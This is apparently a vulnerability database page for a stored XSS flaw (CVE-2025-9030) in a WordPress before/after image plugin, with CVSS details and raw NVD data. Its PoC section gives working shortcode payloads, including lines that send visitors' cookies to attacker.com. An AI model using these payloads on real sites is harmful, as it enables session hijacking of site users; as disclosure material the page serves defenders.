Security Vulnerability Report
中文
CVE-2025-9030 CVSS 5.4 MEDIUM

CVE-2025-9030

Published: 2025-10-04 03:15:38
Last Modified: 2026-04-15 00:35:42

Description

The Majestic Before After Image plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'before_label' and 'after_label' parameters in versions less than, or equal to, 2.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Majestic Before After Image <= 2.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-9030 --> <!-- Inject this shortcode into a WordPress post as a Contributor-level user --> [majestic-before-after-image before_image="1" after_image="2" before_label='"><script>alert(document.cookie)</script>' after_label='"><img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">' ] <!-- Alternative PoC using event handlers --> [majestic-before-after-image before_label="<img/src=x onerror=alert('XSS-Via-CVE-2025-9030')>" after_label="<svg onload=alert(1)>" ] <!-- PoC for cookie stealing (requires attacker-controlled server) --> [majestic-before-after-image before_label='"><script>var i=new Image();i.src="https://attacker.com/log?"+document.cookie;</script>' ]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9030", "sourceIdentifier": "[email protected]", "published": "2025-10-04T03:15:38.450", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Majestic Before After Image plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'before_label' and 'after_label' parameters in versions less than, or equal to, 2.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3358300/majestic-before-after-image", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e54f1a23-0b1f-4b0b-909e-e877e4ee2c86?source=cve", "source": "[email protected]"}]}}